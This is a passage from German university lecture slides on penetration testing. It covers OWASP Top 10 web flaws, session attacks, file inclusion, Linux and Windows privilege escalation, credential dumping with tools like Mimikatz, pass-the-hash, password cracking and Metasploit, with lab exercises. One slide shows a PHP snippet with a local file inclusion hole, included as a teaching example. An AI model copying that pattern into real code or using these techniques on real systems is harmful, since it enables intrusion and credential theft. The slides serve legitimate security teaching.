![Page 85: Penetration Testing - WordPress.com · 2016. 4. 27. · März 2015 Penetration Testing 2 Dipl. Inform. Daniel Schalberger Studium in Tübingen (Informatik, Mathe, BWL) Seit 1999 selbstständig](https://reader035.vdocuments.net/reader035/viewer/2022071502/61217c72f7c4f9228866e7bd/html5/thumbnails/85.jpg)
Daniel Schalberger, SySS GmbH
85 März 2015 Penetration Testing
OWASP A2 – Broken Authentication / Session Management
• Fehler in Anmeldung / Sitzungs-Management kompromittieren die ganze Anwendung
• Angriffe:
– Cookies kopieren
– Sitzungen übernehmen
– Passwörter ermitteln
Q: https://www.owasp.org/index.php/Top_10_2013-Top_10
![Page 86: Penetration Testing - WordPress.com · 2016. 4. 27. · März 2015 Penetration Testing 2 Dipl. Inform. Daniel Schalberger Studium in Tübingen (Informatik, Mathe, BWL) Seit 1999 selbstständig](https://reader035.vdocuments.net/reader035/viewer/2022071502/61217c72f7c4f9228866e7bd/html5/thumbnails/86.jpg)
Daniel Schalberger, SySS GmbH
86 März 2015 Penetration Testing
Session Hijacking
Angriffe auf Sitzungsbezeichner:
• Brute Force: Hierbei werden sukzessive unterschiedliche IDs generiert und auf Gültigkeit getestet.
• Berechnung: Schlecht vergebene Session-IDs liegt ein einfacher Algorithmus für die Berechnung zu Grunde. Dies ermöglicht es einem Angreifer, die ID einer gültigen Session zu errechnen.
• Cross-Site Scripting: Die Session-IDs bereits authentifizierter Benutzer werden durch Ausnutzung einer Cross-Site Scripting-Schwachstelle gestohlen.
• Sniffen: Einem Angreifer in einer Man-in-the-Middle-Position gelingt es, den Sitzungsbezeichner aus dem Netzwerkverkehr zu extrahieren.
![Page 87: Penetration Testing - WordPress.com · 2016. 4. 27. · März 2015 Penetration Testing 2 Dipl. Inform. Daniel Schalberger Studium in Tübingen (Informatik, Mathe, BWL) Seit 1999 selbstständig](https://reader035.vdocuments.net/reader035/viewer/2022071502/61217c72f7c4f9228866e7bd/html5/thumbnails/87.jpg)
Daniel Schalberger, SySS GmbH
87 März 2015 Penetration Testing
Sitzungsbezeichner I
Sollten
• hinreichend lang sein
• zufällig sein (Entropie)
• nicht durch Dritte berechnet werden können
Beispiel PHP: SessionID = MD5(Random1 + Timestamp + IP + Random2)
![Page 88: Penetration Testing - WordPress.com · 2016. 4. 27. · März 2015 Penetration Testing 2 Dipl. Inform. Daniel Schalberger Studium in Tübingen (Informatik, Mathe, BWL) Seit 1999 selbstständig](https://reader035.vdocuments.net/reader035/viewer/2022071502/61217c72f7c4f9228866e7bd/html5/thumbnails/88.jpg)
Daniel Schalberger, SySS GmbH
88 März 2015 Penetration Testing
Sitzungsbezeichner II
Beispiel: Folgende 10 Sitzungsbezeichner wurden innerhalb weniger Sekunden generiert. 1. R4C7O9x6c4H0p2u6O42C
2. 34P7y9E6X4g0F2f6P5GB
3. 34P7y9E6X4g0F2f6P6GB
4. P4w7d9a604L0E2l6K75p
5. G4Y7s9z6R4x0x2B6P8DF
6. G4Y7s9z6R4x0x2B6P9DF
7. C4U7E9B6R4y0q2u7F0Sb
8. r4X779y6j4H0k2G7E1Qc
9. W4T749h6v4l032p7N2WK
10.G4F7f9u6E4P0j2F7O31E
![Page 89: Penetration Testing - WordPress.com · 2016. 4. 27. · März 2015 Penetration Testing 2 Dipl. Inform. Daniel Schalberger Studium in Tübingen (Informatik, Mathe, BWL) Seit 1999 selbstständig](https://reader035.vdocuments.net/reader035/viewer/2022071502/61217c72f7c4f9228866e7bd/html5/thumbnails/89.jpg)
Daniel Schalberger, SySS GmbH
89 März 2015 Penetration Testing
Transport des Sitzungsbezeichners
In der URL:
• Kann an verschiedenen Stellen gespeichert und ausgelesen werden:
– Browser-History
– Proxy-Logdateien
– Server-Logdateien
– Google-Index
– etc…
Als Cookie
• Bevorzugter Weg
• Cookies sollten mit Schutzattributen (httpOnly, secure) ausgestattet sein
• Gültigkeit der Cookies korrekt setzen
![Page 90: Penetration Testing - WordPress.com · 2016. 4. 27. · März 2015 Penetration Testing 2 Dipl. Inform. Daniel Schalberger Studium in Tübingen (Informatik, Mathe, BWL) Seit 1999 selbstständig](https://reader035.vdocuments.net/reader035/viewer/2022071502/61217c72f7c4f9228866e7bd/html5/thumbnails/90.jpg)
Daniel Schalberger, SySS GmbH
90 März 2015 Penetration Testing
Session-Fixation / Preauthentication Attack
• Ideal: Änderung der Session-ID beim Login- und Logout
• Pre-Authentication-Angriff: Kopieren des Sitzungsbezeichners vor dem Login-Vorgang
• Session-Fixation-Angriff: Setzen der ID auf einen vom Angreifer kontrollierten Wert
Übung: Durchführung dieser Angriffe
![Page 91: Penetration Testing - WordPress.com · 2016. 4. 27. · März 2015 Penetration Testing 2 Dipl. Inform. Daniel Schalberger Studium in Tübingen (Informatik, Mathe, BWL) Seit 1999 selbstständig](https://reader035.vdocuments.net/reader035/viewer/2022071502/61217c72f7c4f9228866e7bd/html5/thumbnails/91.jpg)
Daniel Schalberger, SySS GmbH
91 März 2015 Penetration Testing
OWASP A4 – Insecure Direct Object Reference
Direkter Zugriff auf Objekte, z.B. über ID
Beispiel:
• User hat Zugriff auf Objekt Nummer 100
• www.example.com/show.aspx?id=100
• kann aber durch URL-Manipulation auch auf Objekte 101, 102, … zugreifen
• www.example.com/show.aspx?id=101
![Page 92: Penetration Testing - WordPress.com · 2016. 4. 27. · März 2015 Penetration Testing 2 Dipl. Inform. Daniel Schalberger Studium in Tübingen (Informatik, Mathe, BWL) Seit 1999 selbstständig](https://reader035.vdocuments.net/reader035/viewer/2022071502/61217c72f7c4f9228866e7bd/html5/thumbnails/92.jpg)
Daniel Schalberger, SySS GmbH
92 März 2015 Penetration Testing
OWASP A5 – Security Misconfiguration
Fehlerhafte Konfigurationen können z.B. sein • Zugriff auf Administrations-Interfaces • aktiviertes Directory Listing • Schreibrechte im Webroot • Backup-Dateien • Test-Accounts auf Produktivsystemen • Beispielscripte auf Produktivsystemen • Ausgabe von Fehlermeldungen an den Benutzer
(Angreifer lieben Zusatzinformationen )
![Page 93: Penetration Testing - WordPress.com · 2016. 4. 27. · März 2015 Penetration Testing 2 Dipl. Inform. Daniel Schalberger Studium in Tübingen (Informatik, Mathe, BWL) Seit 1999 selbstständig](https://reader035.vdocuments.net/reader035/viewer/2022071502/61217c72f7c4f9228866e7bd/html5/thumbnails/93.jpg)
Daniel Schalberger, SySS GmbH
93 März 2015 Penetration Testing
Beispiel: Backup-Dateien
Beispiel einer Verzeichnis-Ausgabe (ls-Befehl) aus einem Test im März 2013
drwxr-xr-x 6 skpweb skpweb 4096 Apr 25 2008 admin
-rw-r--r-- 1 skpweb skpweb 8841 Apr 25 2008 admin.php
drwxr-xr-x 7 skpweb skpweb 4096 Dec 15 2008 admintool
-rw-r--r-- 1 skpweb skpweb 3203 Apr 30 2010 anmeldung_js.php
-rw-r--r-- 1 skpweb skpweb 1887 Apr 25 2008 anmeldung.js.php
-rw-r--r-- 1 skpweb skpweb 36 Apr 25 2008 anmeldung.js.php.LCK
-rw-r--r-- 1 skpweb skpweb 5896 Apr 25 2008 anmeldung.php
-rwxr--r-- 1 skpweb skpweb 5535 Apr 25 2008 anmeldung.php.bak
-rw-r--r-- 1 skpweb skpweb 5698 Feb 10 2009 anmeldung_php.php
-rw-r--r-- 1 skpweb skpweb 8523 Apr 25 2008 anmeldung.php.php
...
Was fällt auf?
![Page 94: Penetration Testing - WordPress.com · 2016. 4. 27. · März 2015 Penetration Testing 2 Dipl. Inform. Daniel Schalberger Studium in Tübingen (Informatik, Mathe, BWL) Seit 1999 selbstständig](https://reader035.vdocuments.net/reader035/viewer/2022071502/61217c72f7c4f9228866e7bd/html5/thumbnails/94.jpg)
Daniel Schalberger, SySS GmbH
94 März 2015 Penetration Testing
Burp Intruder
• Tool zum automatisierten Durchprobieren von Parametern, z.B. Passwort-Rate-Angriffe
1. Positionen definieren 2. Angriffstyp definieren
– Sniper: Eine Payload nacheinander in verschiedene Positionen – Battering Ram: Eine Payload gleichzeitig in versch. Positionen – Pitchfork: Je ein Parameter aus jedem Payload-Set – Cluster Bomb: Alle Kombinationen aus den Payload-Sets
3. Payloads definieren (Listen, Zahlen, Dateinamen, Brute-Force, usw…)
4. zurücklehnen und zugucken
![Page 95: Penetration Testing - WordPress.com · 2016. 4. 27. · März 2015 Penetration Testing 2 Dipl. Inform. Daniel Schalberger Studium in Tübingen (Informatik, Mathe, BWL) Seit 1999 selbstständig](https://reader035.vdocuments.net/reader035/viewer/2022071502/61217c72f7c4f9228866e7bd/html5/thumbnails/95.jpg)
Daniel Schalberger, SySS GmbH
95 März 2015 Penetration Testing
Große Übung 1
Führen Sie einen Penetrationstest gegen die Gästebuch-Applikation durch • versuchen Sie, möglichst viele Schwachstellen aufzudecken (es gibt über
20 zu entdecken…)
• dokumentieren Sie Ihre Funde inklusive Einstufung (low, med, high)
• versuchen Sie, möglichst viele Benutzernamen und Passwörter in Erfahrung zu bringen
• versuchen Sie, Systemkommandos auf dem Webserver auszuführen
• Dateien anlegen / Benutzer hinzufügen ist erlaubt
• keine vorsätzlichen Denial-of-Service-Angriffe
• sperren Sie Ihre Kommilitonen nicht aus (keine Passwörter ändern etc.)
![Page 96: Penetration Testing - WordPress.com · 2016. 4. 27. · März 2015 Penetration Testing 2 Dipl. Inform. Daniel Schalberger Studium in Tübingen (Informatik, Mathe, BWL) Seit 1999 selbstständig](https://reader035.vdocuments.net/reader035/viewer/2022071502/61217c72f7c4f9228866e7bd/html5/thumbnails/96.jpg)
Daniel Schalberger, SySS GmbH
96 März 2015 Penetration Testing
OWASP A6 - Sensitive Data Exposure
Preisgabe sensibler Daten
• fehlende / unzureichende Verschlüsselung
• Verwendung von Passwort-Hashes ohne Salt
• automatische Ver-/Entschlüsselung beim Datenbankzugriff
• Ausgabe von Passwörtern, Kreditkartennummern, etc. in Serverantwort
![Page 97: Penetration Testing - WordPress.com · 2016. 4. 27. · März 2015 Penetration Testing 2 Dipl. Inform. Daniel Schalberger Studium in Tübingen (Informatik, Mathe, BWL) Seit 1999 selbstständig](https://reader035.vdocuments.net/reader035/viewer/2022071502/61217c72f7c4f9228866e7bd/html5/thumbnails/97.jpg)
Daniel Schalberger, SySS GmbH
97 März 2015 Penetration Testing
SSL-Verschlüsselung
Der Einsatz von SSL hat folgende Ziele:
• Authentizität (SSL-Zertifikate)
• Integrität („Prüfsumme“, MAC)
• Vertraulichkeit (Verschlüsselung)
![Page 98: Penetration Testing - WordPress.com · 2016. 4. 27. · März 2015 Penetration Testing 2 Dipl. Inform. Daniel Schalberger Studium in Tübingen (Informatik, Mathe, BWL) Seit 1999 selbstständig](https://reader035.vdocuments.net/reader035/viewer/2022071502/61217c72f7c4f9228866e7bd/html5/thumbnails/98.jpg)
Daniel Schalberger, SySS GmbH
98 März 2015 Penetration Testing
SSL-Konfiguration
Mögliche Schwachstellen in der SSL-Konfiguration:
• Nicht vertrauenswürdiges SSL-Zertifikat
• Veraltetes SSL-Zertifikat
• Einsatz des falschen Zertifikats
• Unterstützung von SSLv2
• Unterstützung kurzer Schlüssellängen
• Unterstützung unsicherer Chiffren: RC4
• Kompression vor der Verschlüsselung
• Neuaushandlung der Verschlüsselungsparameter
• Veraltete SSL-Komponenten (z.B. Heartbleed)
![Page 99: Penetration Testing - WordPress.com · 2016. 4. 27. · März 2015 Penetration Testing 2 Dipl. Inform. Daniel Schalberger Studium in Tübingen (Informatik, Mathe, BWL) Seit 1999 selbstständig](https://reader035.vdocuments.net/reader035/viewer/2022071502/61217c72f7c4f9228866e7bd/html5/thumbnails/99.jpg)
Daniel Schalberger, SySS GmbH
99 März 2015 Penetration Testing
Übung: SSL-Konfiguration
Werkzeuge zur Überprüfung: OpenSSL / Web-Browser
Verbindungsaufbau mit OpenSSL: > openssl s_client –connect IP-Adresse:Portnummer
Übung: Untersuchen Sie die SSL-Konfiguration eines Webservers
![Page 100: Penetration Testing - WordPress.com · 2016. 4. 27. · März 2015 Penetration Testing 2 Dipl. Inform. Daniel Schalberger Studium in Tübingen (Informatik, Mathe, BWL) Seit 1999 selbstständig](https://reader035.vdocuments.net/reader035/viewer/2022071502/61217c72f7c4f9228866e7bd/html5/thumbnails/100.jpg)
Daniel Schalberger, SySS GmbH
100 März 2015 Penetration Testing
SSL Heartbleed
• Schwachstelle in bestimmten OpenSSL-Versionen
• erlaubt einem Angreifer, einen zufälligen Speicherbereich des Server-Prozesses auszulesen (Information Disclosure-Schwachstelle)
• zahlreiche Tools zum Ausnutzen online verfügbar
• ermöglicht Zugriff auf – Session Tokens
– Passwörter
– privates Schlüsselmaterial
![Page 101: Penetration Testing - WordPress.com · 2016. 4. 27. · März 2015 Penetration Testing 2 Dipl. Inform. Daniel Schalberger Studium in Tübingen (Informatik, Mathe, BWL) Seit 1999 selbstständig](https://reader035.vdocuments.net/reader035/viewer/2022071502/61217c72f7c4f9228866e7bd/html5/thumbnails/101.jpg)
Daniel Schalberger, SySS GmbH
101 März 2015 Penetration Testing
OWASP A7 – Missing Function Level Access Control
Direkter Zugriff auf Funktionen, sofern deren URL bekannt ist
Beispiel: Gästebuch-Applikation
index.php?action=delete&id=5
Testen erfordert i.d.R. mehrere Accounts pro Rolle
![Page 102: Penetration Testing - WordPress.com · 2016. 4. 27. · März 2015 Penetration Testing 2 Dipl. Inform. Daniel Schalberger Studium in Tübingen (Informatik, Mathe, BWL) Seit 1999 selbstständig](https://reader035.vdocuments.net/reader035/viewer/2022071502/61217c72f7c4f9228866e7bd/html5/thumbnails/102.jpg)
Daniel Schalberger, SySS GmbH
102 März 2015 Penetration Testing
OWASP A8 – Cross-Site Request Forgery
• Durchführung von Transaktionen im Namen anderer Benutzer
• Unterschieben eines manipulierten Links durch – Persistent Cross-Site-Scripting – E-Mail, Instant Messanging, Soziale Netzwerke etc.
• Beispiel: Abmelden-Funktion • http://www.example.com/user.php?action=logout
• Schwachstelle ist sehr verbreitet
![Page 103: Penetration Testing - WordPress.com · 2016. 4. 27. · März 2015 Penetration Testing 2 Dipl. Inform. Daniel Schalberger Studium in Tübingen (Informatik, Mathe, BWL) Seit 1999 selbstständig](https://reader035.vdocuments.net/reader035/viewer/2022071502/61217c72f7c4f9228866e7bd/html5/thumbnails/103.jpg)
Daniel Schalberger, SySS GmbH
103 März 2015 Penetration Testing
OWASP A9 – Using Components with Known Vulnerabilities
„never touch a running system“ • Server-Prozesse laufen oft mit hohen Rechten
(root, SYSTEM) • typische Schwachstellen können sein
– Applikations-Schwachstellen (XSS, SQLi, …) – Buffer Overflow Remote Code Execution – Authentication Bypass – Denial-of-Service (DOS)
• Beispiel: Apache Webserver: DOS (CVE-2011-3192), Cookie-Disclosure (CVE-2012-0053)
![Page 104: Penetration Testing - WordPress.com · 2016. 4. 27. · März 2015 Penetration Testing 2 Dipl. Inform. Daniel Schalberger Studium in Tübingen (Informatik, Mathe, BWL) Seit 1999 selbstständig](https://reader035.vdocuments.net/reader035/viewer/2022071502/61217c72f7c4f9228866e7bd/html5/thumbnails/104.jpg)
Daniel Schalberger, SySS GmbH
104 März 2015 Penetration Testing
OWASP A10 – Unvalidated Redirects and Forwards
• Veränderung von Weiterleitungsziel
• Gefahren: – Phishing – Malware-Infizierte Webseiten
Beispiel: „Schutz“-Funktion • Filterung auf „http://“
• Übung: Open Redirect
![Page 105: Penetration Testing - WordPress.com · 2016. 4. 27. · März 2015 Penetration Testing 2 Dipl. Inform. Daniel Schalberger Studium in Tübingen (Informatik, Mathe, BWL) Seit 1999 selbstständig](https://reader035.vdocuments.net/reader035/viewer/2022071502/61217c72f7c4f9228866e7bd/html5/thumbnails/105.jpg)
Daniel Schalberger, SySS GmbH
105 März 2015 Penetration Testing
Weitere Web-Schwachstellen
• OWASP Top10 nur die Spitze des Eisbergs
• viele weitere Schwachstellen / Angriffe
– CRLF-Injection
– HTTP Parameter Pollution
– File-Inclusion
– Directory Traversal
– …
![Page 106: Penetration Testing - WordPress.com · 2016. 4. 27. · März 2015 Penetration Testing 2 Dipl. Inform. Daniel Schalberger Studium in Tübingen (Informatik, Mathe, BWL) Seit 1999 selbstständig](https://reader035.vdocuments.net/reader035/viewer/2022071502/61217c72f7c4f9228866e7bd/html5/thumbnails/106.jpg)
Daniel Schalberger, SySS GmbH
106 März 2015 Penetration Testing
CRLF Injection
• Einfügen zusätzlicher Zeilenumbrüche – In HTTP-Headern – In E-Mail-Headern – usw.
• Gefahren:
– Open Redirect – HTTP Response Splitting – Spam-E-Mail-Versand über fremden Webserver – usw…
• Übung: CRLF Injection
![Page 107: Penetration Testing - WordPress.com · 2016. 4. 27. · März 2015 Penetration Testing 2 Dipl. Inform. Daniel Schalberger Studium in Tübingen (Informatik, Mathe, BWL) Seit 1999 selbstständig](https://reader035.vdocuments.net/reader035/viewer/2022071502/61217c72f7c4f9228866e7bd/html5/thumbnails/107.jpg)
Daniel Schalberger, SySS GmbH
107 März 2015 Penetration Testing
„HTTP Parameter Pollution“
• Veränderung der Übergebenen Parameter • Variation von
– Kodierung – Anzahl – Reihenfolge
• Gefahren:
– Umgehung von Filtern – Unvorhersehbares Verhalten
• Übung: HTTP Parameter Pollution
![Page 108: Penetration Testing - WordPress.com · 2016. 4. 27. · März 2015 Penetration Testing 2 Dipl. Inform. Daniel Schalberger Studium in Tübingen (Informatik, Mathe, BWL) Seit 1999 selbstständig](https://reader035.vdocuments.net/reader035/viewer/2022071502/61217c72f7c4f9228866e7bd/html5/thumbnails/108.jpg)
Daniel Schalberger, SySS GmbH
108 März 2015 Penetration Testing
Local File Inclusion • Einbinden von lokal abgelegten (Code)-Dateien • Typische Schwachstelle in PHP-Anwendungen • Webshell
• Beispiel in PHP: <?php
$lang = $_GET[’lang’];
include "languages/$lang.php"
[...]
?>
• Problem: Angreifer muss Schadcode auf den Server laden und darauf zugreifen
können • Ablage von Code in Server-Logs (User-Agent), Temp-Dateien (Session-Variablen )
• Übung: Local File Inclusion
![Page 109: Penetration Testing - WordPress.com · 2016. 4. 27. · März 2015 Penetration Testing 2 Dipl. Inform. Daniel Schalberger Studium in Tübingen (Informatik, Mathe, BWL) Seit 1999 selbstständig](https://reader035.vdocuments.net/reader035/viewer/2022071502/61217c72f7c4f9228866e7bd/html5/thumbnails/109.jpg)
Daniel Schalberger, SySS GmbH
109 März 2015 Penetration Testing
Remote File Inclusion
• Einbinden von (Code-)Dateien von fremden Servern
• Sehr Einfach auszunutzen
• Übung: Remote File Inclusion
![Page 110: Penetration Testing - WordPress.com · 2016. 4. 27. · März 2015 Penetration Testing 2 Dipl. Inform. Daniel Schalberger Studium in Tübingen (Informatik, Mathe, BWL) Seit 1999 selbstständig](https://reader035.vdocuments.net/reader035/viewer/2022071502/61217c72f7c4f9228866e7bd/html5/thumbnails/110.jpg)
Daniel Schalberger, SySS GmbH
110 März 2015 Penetration Testing
Rechteausweitung unter Linux
• Kernel Exploits
• Exploit lokaler Dienste
• suid-Programme
• Sudo-Konfiguration
• lesbare private ssh-Schlüssel
• Austausch von Programmdateien (Cronjobs, privilegierte Scripte, …)
• Passwörter, die „rumliegen“
Footprinting
Scannen
Enumeration
Zugriff erlangen
Privilege Escalation
Plündern
Spuren beseitigen
Hintertür einbauen
Denial of Service
![Page 111: Penetration Testing - WordPress.com · 2016. 4. 27. · März 2015 Penetration Testing 2 Dipl. Inform. Daniel Schalberger Studium in Tübingen (Informatik, Mathe, BWL) Seit 1999 selbstständig](https://reader035.vdocuments.net/reader035/viewer/2022071502/61217c72f7c4f9228866e7bd/html5/thumbnails/111.jpg)
Daniel Schalberger, SySS GmbH
111 März 2015 Penetration Testing
Große Übung 2
Führen Sie einen Penetrationstest gegen die Infoboard-Applikation durch
• Versuchen Sie, möglichst viele Schwachstellen aufzudecken
• Dokumentieren Sie Ihre Funde inklusive Einstufung (low, med, high)
• Versuchen Sie, root zu werden (es gibt mehrere Wege)
• Dateien anlegen / Benutzer hinzufügen ist erlaubt
• Keine vorsätzlichen Denial-of-Service-Angriffe
• Sperren Sie Ihre Kommilitonen nicht aus (keine Passwörter ändern etc.)
![Page 112: Penetration Testing - WordPress.com · 2016. 4. 27. · März 2015 Penetration Testing 2 Dipl. Inform. Daniel Schalberger Studium in Tübingen (Informatik, Mathe, BWL) Seit 1999 selbstständig](https://reader035.vdocuments.net/reader035/viewer/2022071502/61217c72f7c4f9228866e7bd/html5/thumbnails/112.jpg)
Daniel Schalberger, SySS GmbH
112 März 2015 Penetration Testing
Windows-Hacking
Q: Wikipedia
![Page 113: Penetration Testing - WordPress.com · 2016. 4. 27. · März 2015 Penetration Testing 2 Dipl. Inform. Daniel Schalberger Studium in Tübingen (Informatik, Mathe, BWL) Seit 1999 selbstständig](https://reader035.vdocuments.net/reader035/viewer/2022071502/61217c72f7c4f9228866e7bd/html5/thumbnails/113.jpg)
Daniel Schalberger, SySS GmbH
113 März 2015 Penetration Testing
Unter Hackern „beliebt“
• Großer Marktanteil
• Größe des Programmcodes
• Hunderte von Treibern (viele 3rd Party)
• Abwärtskompatibilität (z.B: LM-Hashes)
• heterogene Netze
• Microsoft-eigene Komponenten nah am Kernel, bringt Geschwindigkeitsvorteile (IE, Office, etc.)
![Page 114: Penetration Testing - WordPress.com · 2016. 4. 27. · März 2015 Penetration Testing 2 Dipl. Inform. Daniel Schalberger Studium in Tübingen (Informatik, Mathe, BWL) Seit 1999 selbstständig](https://reader035.vdocuments.net/reader035/viewer/2022071502/61217c72f7c4f9228866e7bd/html5/thumbnails/114.jpg)
Daniel Schalberger, SySS GmbH
114 März 2015 Penetration Testing
Domänen & Arbeitsgruppen
Jeder Windows-Computer ist entweder Teil einer Arbeitsgruppe, oder einer Domäne
Arbeitsgruppe Domäne
• Alle PCs gleichberechtigt • lokale Accounts auf jedem PC
hinterlegt • Arbeitsgruppe ist nicht durch PW
geschützt • nicht mehr als 20 PCs
• Ein (oder mehrere) Domain-Controller • Zentrale Verwaltung von
Benutzerkonten • Hinzufügen von Benutzern oder
Computern kann nur der Domänenadministrator
• keine Größenbeschränkung (hunderte bis tausende Computer sind üblich)
![Page 115: Penetration Testing - WordPress.com · 2016. 4. 27. · März 2015 Penetration Testing 2 Dipl. Inform. Daniel Schalberger Studium in Tübingen (Informatik, Mathe, BWL) Seit 1999 selbstständig](https://reader035.vdocuments.net/reader035/viewer/2022071502/61217c72f7c4f9228866e7bd/html5/thumbnails/115.jpg)
Daniel Schalberger, SySS GmbH
115 März 2015 Penetration Testing
Domänen / Active Directory
• Baumstruktur
• Zentrale Verwaltung von Benutzern, Gruppen, Rechten
• Gruppenrichtlinien
• Protokolle
– LDAP
– Kerberos
– DNS
![Page 116: Penetration Testing - WordPress.com · 2016. 4. 27. · März 2015 Penetration Testing 2 Dipl. Inform. Daniel Schalberger Studium in Tübingen (Informatik, Mathe, BWL) Seit 1999 selbstständig](https://reader035.vdocuments.net/reader035/viewer/2022071502/61217c72f7c4f9228866e7bd/html5/thumbnails/116.jpg)
Daniel Schalberger, SySS GmbH
116 März 2015 Penetration Testing
Anmeldeinformationen
lokale Benutzer Domänen-Benutzer
• Passwort-Hashes liegen in SAM (Security Account Manager) auf dem Computer, auf dem der Account existiert
• Anmeldung ohne Netzwerk-Verbindung
• früher: LM-Hashes (vor Vista) • jetzt: NTLM-Hashes (seit NT) • LM-Verfahren ist vollständig
gebrochen • oft liegen beide Hashes parallel vor • Verschlüsselung mit System-Key
• Passwort-Hashes liegen auf dem Domain-Controller (DC)
• Netzwerkverbindung zum DC erforderlich
• lokale Speicherung von Domain-Cached-Credentials für offline-Anmeldung • DCC1 bis XP • DCC2 ab Vista
![Page 117: Penetration Testing - WordPress.com · 2016. 4. 27. · März 2015 Penetration Testing 2 Dipl. Inform. Daniel Schalberger Studium in Tübingen (Informatik, Mathe, BWL) Seit 1999 selbstständig](https://reader035.vdocuments.net/reader035/viewer/2022071502/61217c72f7c4f9228866e7bd/html5/thumbnails/117.jpg)
Daniel Schalberger, SySS GmbH
117 März 2015 Penetration Testing
Passworthash-Algorithmen • LM-Hashes
– Maximale Länge von 14 Zeichen – Umwandlung in Großbuchstaben – Teilen in zwei Hälften à 7 Zeichen – Erzeugen zweier DES-Keys aus den beiden PW-Hälften – Separates Verschlüsseln einer Konstanten mit den DES-Keys
• NTLM-Hashes – MD4(Passwort)
• DCC1 – MD4(NTLM+Username)
• DCC2 – PBKDF2(HMAC-SHA1, 10240, DCC1, Username)
![Page 118: Penetration Testing - WordPress.com · 2016. 4. 27. · März 2015 Penetration Testing 2 Dipl. Inform. Daniel Schalberger Studium in Tübingen (Informatik, Mathe, BWL) Seit 1999 selbstständig](https://reader035.vdocuments.net/reader035/viewer/2022071502/61217c72f7c4f9228866e7bd/html5/thumbnails/118.jpg)
Daniel Schalberger, SySS GmbH
118 März 2015 Penetration Testing
Typische Benutzerkonten / Rollen
• Lokal – Gast
– normaler Nutzer
– Administrator
– SYSTEM
• Domäne – normaler Nutzer
– lokaler Administrator
– Domänen-Administrator
![Page 119: Penetration Testing - WordPress.com · 2016. 4. 27. · März 2015 Penetration Testing 2 Dipl. Inform. Daniel Schalberger Studium in Tübingen (Informatik, Mathe, BWL) Seit 1999 selbstständig](https://reader035.vdocuments.net/reader035/viewer/2022071502/61217c72f7c4f9228866e7bd/html5/thumbnails/119.jpg)
Daniel Schalberger, SySS GmbH
119 März 2015 Penetration Testing
Authentisierung
• Domänen-Konten: Kerberos
• lokale Benutzerkonten: NTLMv2
– Challenge-Response-Verfahren
– Client braucht NTLM-Hash
– Pass-the-Hash-Angriffe sind möglich
![Page 120: Penetration Testing - WordPress.com · 2016. 4. 27. · März 2015 Penetration Testing 2 Dipl. Inform. Daniel Schalberger Studium in Tübingen (Informatik, Mathe, BWL) Seit 1999 selbstständig](https://reader035.vdocuments.net/reader035/viewer/2022071502/61217c72f7c4f9228866e7bd/html5/thumbnails/120.jpg)
Daniel Schalberger, SySS GmbH
120 März 2015 Penetration Testing
Access Tokens
• Werden für eine Logon-Session generiert
• Ähnlich zu Web-Session-Cookies
• Enthalten Berechtigungen eines Nutzers bzw. all seiner Gruppen („Security Context“); SIDs
• Werden erzeugt bei: Interaktivem Login, Nutzung von Netzwerk-Freigaben, RDP-Zugriff, Citrix, VNC, Scheduled Tasks (RunAs), …
![Page 121: Penetration Testing - WordPress.com · 2016. 4. 27. · März 2015 Penetration Testing 2 Dipl. Inform. Daniel Schalberger Studium in Tübingen (Informatik, Mathe, BWL) Seit 1999 selbstständig](https://reader035.vdocuments.net/reader035/viewer/2022071502/61217c72f7c4f9228866e7bd/html5/thumbnails/121.jpg)
Daniel Schalberger, SySS GmbH
121 März 2015 Penetration Testing
Rechte-Eskalation unter Windows • Passwörter finden
– Scripte – Konfigurationsdateien – unattend.xml (evtl. gelöscht) – Group Policy Preferences
• Kernel-Exploits • Service-Dateien austauschen • Scheduled Tasks • Binary Planting • Physischer Zugriff
– Fremdbooten (USB, PXE, CD-ROM) – Festplatte ausbauen – Firewire
• Der Schritt Administrator --> SYSTEM ist trivial
Footprinting
Scannen
Enumeration
Zugriff erlangen
Privilege Escalation
Plündern
Spuren beseitigen
Hintertür einbauen
Denial of Service
![Page 122: Penetration Testing - WordPress.com · 2016. 4. 27. · März 2015 Penetration Testing 2 Dipl. Inform. Daniel Schalberger Studium in Tübingen (Informatik, Mathe, BWL) Seit 1999 selbstständig](https://reader035.vdocuments.net/reader035/viewer/2022071502/61217c72f7c4f9228866e7bd/html5/thumbnails/122.jpg)
Daniel Schalberger, SySS GmbH
122 März 2015 Penetration Testing
Post-Exploitation / Plündern
• lokale SYSTEM-Rechte erlauben u.a. Zugriff auf – lokale Passwort-Hashes (LM/NTLM)
– Klartext-Passwörter angemeldeter Nutzer im Arbeitsspeicher
– Access Tokens
– DCCs
• Nützliche Tools: PWDump, WCE, Mimikatz
Footprinting
Scannen
Enumeration
Zugriff erlangen
Privilege Escalation
Plündern
Spuren beseitigen
Hintertür einbauen
Denial of Service
![Page 123: Penetration Testing - WordPress.com · 2016. 4. 27. · März 2015 Penetration Testing 2 Dipl. Inform. Daniel Schalberger Studium in Tübingen (Informatik, Mathe, BWL) Seit 1999 selbstständig](https://reader035.vdocuments.net/reader035/viewer/2022071502/61217c72f7c4f9228866e7bd/html5/thumbnails/123.jpg)
Daniel Schalberger, SySS GmbH
123 März 2015 Penetration Testing
Ausbreitung
• Wellenartige Ausbreitung im Netzwerk
• Weiterverwendung gefundener Passwörter / Passwort-Hashes
(Pass-the-Hash!)
1
2
3
3
3
2
3
Initial kompromittiertes System
![Page 124: Penetration Testing - WordPress.com · 2016. 4. 27. · März 2015 Penetration Testing 2 Dipl. Inform. Daniel Schalberger Studium in Tübingen (Informatik, Mathe, BWL) Seit 1999 selbstständig](https://reader035.vdocuments.net/reader035/viewer/2022071502/61217c72f7c4f9228866e7bd/html5/thumbnails/124.jpg)
Daniel Schalberger, SySS GmbH
124 März 2015 Penetration Testing
Passwort-Rate-Angriffe Online-Angriff • Anmeldeversuche mit versch. Passwörtern • Tools: Hydra, Medusa Offline-Angriff • Hashes berechnen und vergleichen • Wörterbuch-Angriff • Beschleunigung mit Rainbow-Tables (ohne Salt) • schnell: MDx, SHAx, LM, NTLM, DCC1 • langsam: PBKDF2, DCC2 • Tools: John, Hashcat (GPU-Unterstützung)
![Page 125: Penetration Testing - WordPress.com · 2016. 4. 27. · März 2015 Penetration Testing 2 Dipl. Inform. Daniel Schalberger Studium in Tübingen (Informatik, Mathe, BWL) Seit 1999 selbstständig](https://reader035.vdocuments.net/reader035/viewer/2022071502/61217c72f7c4f9228866e7bd/html5/thumbnails/125.jpg)
Daniel Schalberger, SySS GmbH
125 März 2015 Penetration Testing
Metasploit
• Metasploit-Framework
• Framework für Angriffe / Penetrationstests
• Komponenten – Scanner-Module
– Exploit-Module
– Post-Exploitation-Module
– Payloads
